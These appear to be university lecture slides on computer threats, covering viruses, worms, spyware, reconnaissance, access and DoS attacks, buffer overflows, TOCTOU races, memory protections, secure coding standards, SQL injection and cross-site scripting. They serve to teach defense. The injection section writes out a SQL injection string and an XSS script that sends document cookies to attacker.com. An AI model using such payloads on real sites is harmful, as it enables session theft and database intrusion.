

Chapter 2

Computer Threat

Malicious code

- Malicious code is the general name for **unexpected** or **undesired effects** in programs, caused by an agent committed on **damage**.
- The agent is the **writer of the program** or the person who causes its distribution.
- Most **faults found** in software inspections, reviews, and testing do not qualify as malicious code, because we think of them as **unintentional**.
- Malicious people can make programs **serve as vehicles** to **access and change data** and other programs.

Virus

- A virus is a program that can **replicate itself** and pass on malicious code to other non malicious programs by modifying them.
- It infects other **healthy subjects** by **attaching itself** to the program and either destroying it or coexisting with it.
- Moreover, **infected program** can be **modified** to include a copy of the virus program, so the infected program itself begins to **act as a virus**, infecting other programs.
- The infection usually **spreads** at a geometric rate, eventually overtaking an **entire computing system** and spreading to all other **connected systems**.

Cont..

□ A virus can be either **Transient** or **Resident**.

- A **Transient virus** has a life that **depends on the life of its host**; the **virus runs** when its attached program executes and **terminates** when its attached program ends.
- (During its execution, the transient virus may spread its infection to other programs.)
- A **Resident virus** locates itself in **memory**; then it can remain **active** or be activated as a stand-alone program, even after its **attached program ends**.

Trojan Horse

- **A Trojan horse:-** in addition to its primary effect, has a non-obvious malicious effect.

Example:-

- Trojan horse, consider a login script that asks a user's identification and password, **passes** the identification information on to the rest of the system for login processing, but **also retains a copy of the information** for later, malicious use.

Cont..

- ❑ **Logic bomb:-** is a class of malicious code that "detonates"
 - when a specified condition occurs.
- ❑ **Time bomb:-** is a logic bomb whose **trigger is a time or date.**
- ❑ **Trapdoor or backdoor:-** is a feature in a program by which
 - someone can access the program other than by the obvious,
 - direct call, perhaps with **special privileges.**

Worm

- **Worm** is a program that spreads copies of itself through a network.
- The primary difference between a **worm** and a **virus** is that a **worm operates through networks**, and a virus can spread through **any medium**.
- Additionally, the worm spreads copies of itself as a **stand- alone** program, whereas the virus spreads copies of itself as a program that **attaches** to in other programs.

Rabbit

- As a virus or worm that self-replicates without bound, with the intention of **exhausting** some computing resource.
- A **rabbit** might create copies of itself and store them on disk in an effort to completely **fill the disk**.

Spyware

- In information security, **Spyware** is a type of malicious software (malware) designed to infiltrate your computer or mobile device, gather data about you, and forward it to a third party without your consent.
- Unlike viruses, which aim to damage systems or spread to other files, spyware is typically **stealthy**;
 - its goal is to remain undetected for as long as possible to maximize data collection.

How Spyware Operates

- Spyware generally follows a three-step lifecycle:
 - ▶ **Infiltration:** It enters your system through "bundled" free software, malicious email attachments, or "drive-by downloads" (visiting a compromised website).
 - ▶ **Monitoring & Collection:** Once inside, it runs quietly in the background. It may record your keystrokes, capture screenshots, monitor your browsing history, or even activate your camera and microphone.
 - ▶ **Exfiltration:** The stolen data (passwords, credit card numbers, or private documents) is sent to a remote "Command and Control" (C2) server managed by the attacker.

Common Types of Spyware

Spyware is categorized by the specific type of information it targets:

Type	Function	Impact
Keyloggers	Records every keystroke made on the keyboard.	Steals passwords, PINs, and sensitive messages.
Infostealers	Scans the system for specific data (cookies, saved logins).	Leads to account takeovers and identity theft.
Adware	Tracks browsing habits to serve intrusive pop-up ads.	Erodes privacy and slows down system performance.
Stalkerware	Monitors location, calls, and texts.	Often used by individuals to spy on partners or employees.
Pegasus / Commercial	Government-grade surveillance tools.	Used for high-level espionage against activists or officials.

Cont..

- **Telltale Signs of Infection**

- Because spyware is designed to be invisible, it often doesn't show errors. Instead, look for these performance-based "red flags":
- **Rapid Battery Drain:** The constant background activity and data transmission eat up power.
- **Unusual Heat:** The processor is working overtime to run the hidden spy processes.
- **Data Usage Spikes:** Unexpected increases in your internet data usage as files are uploaded to the attacker.
- **Camera/Mic Lights:** Seeing the "in-use" indicator for your camera or microphone when you aren't using them.

Document Viruses

 Currently, the most popular virus type is what we call the **document virus**, which is implemented within a formatted document, such as :

- Written document,
- Database,
- Slide presentation,
- Picture, or a spreadsheet.

 The commands are part of programming language, including variables and procedures, file accesses, and even system calls.

 The writer of a document virus uses any of the features of the programming language to perform **malicious actions**.

❑ One-Time Execution

➤ The majority of viruses today **execute only once**, spreading their infection and causing their effect in that one execution.

➤ A virus often arrives as an e-mail attachment of a document virus. It is executed just by **being opened**.

❑ Boot Sector Viruses

➤ The operating system stored on disk. Code copies the operating system from **disk to memory** and transfers control to it; this copying is called the **bootstrap (often boot)**.

➤ The virus writer simply **breaks the chain at any point, inserts a pointer** to the virus code to be executed, and reconnects the chain after the virus has been installed.

Memory-Resident Viruses.

 Some parts of the operating system and user programs **execute, terminate, and disappear**, with their space in memory being available for anything **executed later**.

 For frequently used parts of the program, it would **take too long to reload** the program each time it was needed. Such code remains in memory and is called "**resident**" code.

 Virus writers attach **viruses to resident code** because the resident code is activated many times while the machine is running.

 Each time the resident code runs, the **virus does too**.

Virus Signatures

-  A virus cannot be completely invisible.
-  Code must be **stored somewhere**, and the code must be in memory to execute.
-  The virus's signature is important for creating a program, called a **virus scanner**, that can detect and, in some cases, remove viruses.
-  The scanner searches memory, when the scanner recognizes a known virus's pattern, it can then **block the virus**, inform the user, and deactivate or remove the virus.

Prevention of Virus Infection

 The only way to prevent the infection of a virus is not to receive **executable code from an infected source.**

 Virus writers have used a file with a **.doc** extension is expected to be a Word document, in **fact, the true** document type is **hidden in a field** at the start of the file.



Executable code has been **hidden** in files containing large data sets, such as **pictures** or read-only documents.

 There are several techniques use **to safe electronic** contact:

- ✓ Use only **commercial software** acquired from reliable vendors.
- ✓ Test all **new software** on an isolated computer
- ✓ Open attachments only when you know them to be safe
- ✓ Make a recoverable system image and store it safely
- ✓ Make and retain backup copies of executable system files
- ✓ Use virus detectors (often called virus scanners) regularly and update them daily

Class of Attacks

- Here we see the following class of attacks:
 - a) Reconnaissance attack,
 - b) Access attack,
 - c) Denial of Service attack

Reconnaissance

- A **reconnaissance** attack is the **intelligence-gathering phase** of a cyber attack where an adversary systematically surveys a target's systems, networks, or personnel to identify vulnerabilities.

Core Types of Reconnaissance

- Attackers use two main strategies to gather information, categorized by the level of direct interaction with the target:
 - passive and active Reconnaissance

Reconnaissance

- **Passive Reconnaissance:** The attacker gathers data without directly interacting with the target's systems. This is extremely difficult to detect because it leaves no trace in the victim's logs.
 - **Examples:** Reviewing social media (LinkedIn), searching public domain records (WHOIS), and using specialized search engines like Shodan or Censys.
- **Active Reconnaissance:** The attacker directly probes the target's infrastructure to identify live hosts and open services. This provides more detailed data but carries a higher risk of triggering security alerts.
 - **Examples:** [Port scanning](#) (Nmap), network mapping, and vulnerability scanning.

Key Techniques and Tools

- Attackers use a combination of technical and human-oriented methods to build a target profile
- **Footprinting:** Collecting high-level information like domain names, IP address ranges, and organizational structure.
- **Scanning and Enumeration:** Probing for active devices (ping sweeps), open ports, and the specific versions of software or operating systems being used.
- **Social Engineering:** Manipulating employees through phishing or pretexting to reveal sensitive data like login credentials or internal procedures.
- **Packet Sniffing:** Capturing unencrypted network traffic to map communication flows and identify high-value assets.

access attack

- An **access attack** is a cyberattack where an intruder attempts to gain unauthorized entry into a device, network, or data.
- While a **reconnaissance attack** is about gathering information, an access attack is about *acting* on that information to infiltrate the system.

Primary Types of Access Attacks

- Access attacks are generally split into two categories based on how the intruder interacts with the target:

Logical Access Attacks:

- **Logical Access Attacks:** These target digital weaknesses to bypass security controls.
 - **Password Attacks:** Using automated tools for **brute-force** (guessing combinations) or **dictionary attacks** (testing common words).
 - **Spoofing:** Impersonating a trusted device or user by falsifying data like IP or MAC addresses.
 - **Session Hijacking:** Stealing a "session token" to take over an active, already-authenticated user session.
 - **Man-in-the-Middle (MitM):** Intercepting and potentially altering communication between two parties, often over unsecured Wi-Fi.

Cont..

- **Physical Access Attacks:** These involve direct contact with hardware or personnel.
- **Social Engineering:** Tricking people into giving up passwords or access through **phishing** (fake emails) or **pretexting** (impersonating an authority figure).
- **Hardware Tampering:** Plugging in a malicious USB drive or bypassing physical locks to extract data directly.

Prevention & Mitigation

- Modern defense focuses on **Zero Trust**—the idea of "never trust, always verify".
- **Multi-Factor Authentication (MFA)**: This is the single most effective defense against credential theft, as it requires a second form of verification (like a fingerprint or mobile code).
- **Least Privilege**: Granting users only the minimum access they need for their job to limit the "blast radius" if an account is compromised.
- **Endpoint Detection & Response (EDR)**: Using tools to monitor devices in real-time for anomalous behavior, such as a user suddenly logging in from a new country or at an odd hour.
- **Regular Patching**: Keeping software updated to close technical vulnerabilities that attackers might exploit for initial entry.

Denial of Service (DoS)

- A **Denial of Service (DoS)** attack is a malicious attempt to make a computer, network, or service unavailable to its intended users.
- Unlike access attacks that aim to steal data, the primary goal of a DoS attack is to **disrupt operations** by overwhelming the target with more traffic or requests than it can handle.
- **Critical Distinction: DoS vs. DDoS**
- The "Distributed" in **DDoS** is the most important factor in modern cybersecurity:
- **DoS**: Originates from a **single source** (one computer). These are relatively easy to block by simply banning the offending IP address.
- **DDoS**: Coordinates thousands or millions of compromised devices (a **botnet**) to attack simultaneously.

Key Program Flaws in Execution

Buffer Overflows

- A buffer overflow happens when a program writes more data to a buffer—a temporary storage area—than it is designed to hold, overflowing into adjacent memory space.
 - This can cause erratic behavior, system crashes, or arbitrary code execution by overwriting the program's stack, including the return address.
- **Detailed Example (Stack-based Overflow):** A C program uses `strcpy(buffer, user_input)` to copy user input into a 10-character array, but the user inputs 20 characters.
 - The extra 10 characters overwrite adjacent stack memory. An attacker can use this to overwrite the function's return address, directing the program to execute malicious "shellcode".

Cont..

- **Common Causes:** Using unsafe functions in C/C++, such as `gets()`, `strcpy()`, `strcat()`, and `sprintf()`.
- **Prevention:** Use safe string functions (e.g., `strncpy()`, `snprintf()`) that check bounds, and use modern languages with automatic memory management.

Cont..

Time-of-check to Time-of-use (TOCTOU)

- TOCTOU is a race condition flaw that occurs when a program checks the state of a resource (like a file or socket) and acts on it, but the state changes *between* the check and the use.
- **Detailed Example (File System Race):** A program checks if a user has permission to write to a file (`access()`).
 - The program confirms permission, but immediately before it opens the file (`open()`), the user swaps the file with a symbolic link pointing to a system file (e.g., `/etc/passwd`).
 - The program, having already validated, proceeds to write to the sensitive file.
- **Common Scenarios:** File system operations, temporary files, and database transactions where validation is not atomic.
- **Prevention:** Use atomic operations that perform the check and use in one step, or file descriptors rather than filenames.

Cont..

Incomplete Mediation

- Incomplete mediation occurs when the validation of user-provided data is missing, incomplete, or bypassed.
- The system fails to check all possible paths or scenarios for malicious input, allowing unauthorized actions.
- **Detailed Example (E-commerce Order Manipulation):** A website allows a user to purchase items and passes hidden fields in the URL, such as: `.../order?id=123&price=100&qty=1`.
 - The client-side validates that the price is correct. However, a user changes the URL to `.../order?id=123&price=1&qty=1` before it reaches the server.
 - If the server does not re-validate the price against its database, the item is bought for 1\$.
- **Common Scenarios:** Hidden form fields, tampering with URL parameters, and relying solely on client-side JavaScript validation.
- **Prevention:** Always validate and sanitize input on the server side, ensuring that all data from the user is treated as untrusted.

1. Controls to Protect Against Program Flaws in Execution

- **Input Validation & Sanitization:** Ensuring input data is properly validated to prevent SQL injection, buffer overflows, or cross-site scripting (XSS).
- **Memory Safety Mechanisms:** Implementing Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) to prevent execution of malicious code in memory.
- **Secure Coding Practices:** Utilizing secure libraries, code signing, and conducting code reviews to identify vulnerabilities before execution.
- **Malicious Code Protection:** Antivirus, antimalware, and endpoint detection/response (EDR) tools.

Memory Safety Mechanisms

1. Data Execution Prevention (DEP)

- DEP marks specific memory regions, such as the **stack** and **heap**, as non-executable.
- **1. The Stack: "Fast and Automatic"**
 - Think of the stack like a **physical stack of plates**. You can only add or remove from the very top (Last-In, First-Out, or **LIFO**).
- **2. The Heap: "Flexible and Manual"**
 - Think of the heap as a **large, open warehouse**. You can store things anywhere there's an empty spot, and they stay there until you explicitly move them.
- **How it protects:** Traditionally, an attacker might inject malicious code (shellcode) into a data area (the stack) and then trick the program into running it.
- **The result:** With DEP, if the processor attempts to execute code from these "data-only" regions, the operating system immediately terminates the program, stopping the attack in its tracks.

Memory Safety Mechanisms

2. Address Space Layout Randomization (ASLR)

- ASLR introduces **unpredictability** by randomly moving the memory addresses used by system files, libraries (DLLs), the stack, and the heap each time a program starts.
- **How it protects:** To successfully exploit a system, an attacker often needs to know the exact memory address of a specific function or a "gadget" to hijack the program's flow.
- **The result:** Because these addresses change every time the application is run, it becomes extremely difficult for an attacker to predict where to "jump" their code, often causing the exploit to fail and the application to crash instead.

Why They are Used Together

- While powerful individually, they are most effective when combined:
- **DEP** prevents the execution of *injected* code.
- **ASLR** makes it harder for an attacker to find and use *existing* legitimate code (like system functions) to bypass DEP.

2. Operating System (OS) Support for Protection

- **Access Control Services:** Utilizing access control lists (ACLs) and capability lists to restrict user and process access to system resources.
- **Memory Management:** Enforcing separation of user and kernel spaces to prevent unauthorized memory access.
- **Virtualization and Sandboxing:** Running applications in isolated environments to limit the impact of a crash or compromise.
- **Process Monitoring:** Continuous logging and monitoring to identify anomalies during runtime.

How Memory Separation Works

- Modern operating systems (OS) logically and physically divide system memory into two distinct regions:
- **User Space:** This is the restricted area where your standard applications (like a web browser or word processor) execute. Programs here have limited privileges and cannot directly interact with hardware or other processes' memory.
- **Kernel Space:** This is a highly privileged, "fortified vault" for the OS core (the kernel), its extensions, and device drivers. It has unrestricted access to all hardware and physical memory.

The Role of Memory Management in Protection

- The OS and the CPU's **Memory Management Unit (MMU)** work together to enforce this separation through several mechanisms:
- **Hardware Privilege Levels (Rings):** CPUs use protection rings (e.g., **Ring 0** for kernel and **Ring 3** for user space) to dictate what instructions code can execute.
- **Virtual Memory & Isolation:** Each user process is given its own **isolated virtual address space**. A process "thinks" it has the whole memory to itself, but the MMU ensures it can only access its own specific "sandbox".
- **System Call Gatekeeping:** If a user program needs a privileged service (like reading a file or accessing the network), it must use a **System Call**. This acts as a strictly controlled gateway where the kernel validates the request before switching modes to perform the action safely.
- **Hardware Exceptions:** If a user-mode program tries to directly access kernel memory, the CPU triggers a hardware exception, typically resulting in a **segmentation fault** and immediate termination of the offending process.

3. Administrative Controls

- **Policies and Procedures:** Documented security policies, incident response plans, and change management procedures.
- **Patch Management:** Regular, centralized patching to fix known vulnerabilities in software and operating systems. Ex -update the OS and applications
- **Security Training:** Training employees to recognize and avoid phishing and other threats that exploit program vulnerabilities.
- **Auditing and Compliance:** Regular audits to ensure controls are functioning correctly, such as testing system hardening and user access rights.

Program security defenses

- Program security defenses protections to safeguard software throughout its lifecycle rely on a combination of the following:
 - rigorous development controls,
 - comprehensive testing, and
 - robust database management system (DBMS)

Cont..

1. Software Development Security Controls

- Integrating security into the **Software Development Life Cycle (SDLC)**—often called **DevSecOps**—ensures that defenses are built in from the start.
- **Secure Design & Threat Modeling:** Mapping data flows and trust boundaries to identify and prioritize potential threats before any code is written.
- **Secure Coding Practices:** Enforcing standards (such as **OWASP ASVS** or **NIST SP 800-218**) to prevent common flaws like injection, buffer overflows, and poor error handling.
- **Input Validation & Sanitization:** Rigorously verifying all user input against allowlists to block malicious payloads like those used in SQL injection and Cross-Site Scripting (XSS).
- **Environment Segregation:** Maintaining separate development, testing, staging, and production environments to prevent untested or malicious code from reaching live systems.

Cont..

Core Standards for Secure Coding

- **OWASP:** Open Worldwide Application Security Project (formerly Open Web Application Security Project)
- **ASVS:** Application Security Verification Standard
- This is a comprehensive, community-driven framework used to verify the technical security controls of web applications and APIs.

OWASP ASVS (Application Security Verification Standard): An open standard providing a basis for testing technical security controls in web applications.

- **Level 1 (Basic):** Minimum baseline focusing on common, easily detectable vulnerabilities.
- **Level 2 (Standard):** Recommended for most commercial applications handling sensitive data.
- **Level 3 (Advanced):** Reserved for critical systems like finance, medical, or military infrastructure.

Cont..

Core Standards for Secure Coding

- **NIST SP 800-218 (Secure Software Development Framework - SSDF):**
 - **NIST:** National Institute of Standards and Technology
 - **SP:** Special Publication
- **800-218:** This specific publication refers to the **Secure Software Development Framework (SSDF)**.
- This framework provides a set of high-level, outcome-based practices to help organizations build security into every stage of their software development lifecycle.
- A high-level strategic framework designed to reduce vulnerabilities across the software supply chain through four pillars:
 - preparing the organization, protecting software, producing well-secured software, and responding to vulnerabilities.

SQL Injection and Cross-Site Scripting (XSS)

- are two of the most common web vulnerabilities, both caused by a failure to properly "clean" or validate user input.

1. SQL Injection (SQLi)

- This occurs when an attacker inserts malicious SQL code into an input field to manipulate a back-end database.
- **Goal:** To bypass login screens, steal data, or delete entire databases.
- **The Flaw:** The application takes user input and concatenates it directly into a database query.
- **Example:**
 - **Normal Input:** A user types their username: John123.
 - **The Query:** `SELECT * FROM users WHERE username = 'John123';`
 - **Malicious Input:** An attacker types: `' OR '1'='1`.
 - **The Result:** The query becomes `SELECT * FROM users WHERE username = '' OR '1'='1';`. Because `'1'='1'` is always true, the database returns every user record, effectively logging the attacker in without a password.

SQL Injection and Cross-Site Scripting (XSS)

2. Cross-Site Scripting (XSS)

- XSS occurs when an attacker injects malicious scripts (usually JavaScript) into a trusted website, which is then executed in the victim's browser.
- **Goal:** To steal "session cookies," hijack user accounts, or deface websites.
- **The Flaw:** The application takes user input and displays it back on a page without "encoding" it (turning characters like < into <).
- **Example:**
 - **Normal Input:** A user posts a comment: "Great article!"
 - **Malicious Input:** An attacker posts a comment containing a script: `<script>fetch('http://attacker.com' + document.cookie);</script>`.
 - **The Result:** Every user who views that comment section will unknowingly have their browser run that script, which sends their private login cookies directly to the attacker's server.

Cont..

Feature	SQL Injection	Cross-Site Scripting (XSS)
Target	The Database server.	The End-User's browser.
Language	SQL (Database language).	JavaScript / HTML.
Main Defense	Parameterized Queries (Prepared Statements).	Output Encoding & Content Security Policy (CSP).

Cont..

2. Security Testing Techniques

- Testing verifies that security controls function correctly and identifies vulnerabilities before they can be exploited.
- **Static Application Security Testing (SAST):** Scans source code, byte code, or binaries for flaws without executing the program. It identifies issues like hardcoded credentials and insecure crypto early in development.
- **Dynamic Application Security Testing (DAST):** Analyzes the application while it is running by simulating real-world attacks. It is particularly effective for finding runtime vulnerabilities in web applications.
- **Software Composition Analysis (SCA):** Scans third-party libraries and open-source dependencies for known vulnerabilities and licensing issues.
- **Penetration Testing:** Skilled security professionals manually simulate targeted attacks to discover complex vulnerabilities that automated tools might miss.
- **Interactive Application Security Testing (IAST):** Combines SAST and DAST by analyzing code paths during execution to provide more accurate results with fewer false positives.

Cont..

3. Database Management Systems (DBMS) Security

- DBMS security protects the data, the management system itself, and the infrastructure it runs on.
- **Access Control & Authentication:** Implementing **Role-Based Access Control (RBAC)** and **Multi-Factor Authentication (MFA)** to ensure only verified users have the minimum necessary permissions (**Least Privilege**).
- **Encryption:** Protecting sensitive data "at rest" (stored on disk) and "in transit" (moving across networks) using strong protocols like AES-256 and TLS.
- **Database Firewalls:** Analyzing and blocking malicious traffic, such as SQL injection attempts, before they reach the database.
- **Activity Monitoring & Auditing:** Continuously tracking all database actions to detect anomalies and maintain a tamper-evident audit trail for compliance.
- **Backup & Recovery:** Regularly creating encrypted, off-site backups and testing recovery procedures to ensure data can be restored after a breach or failure.

Thank You!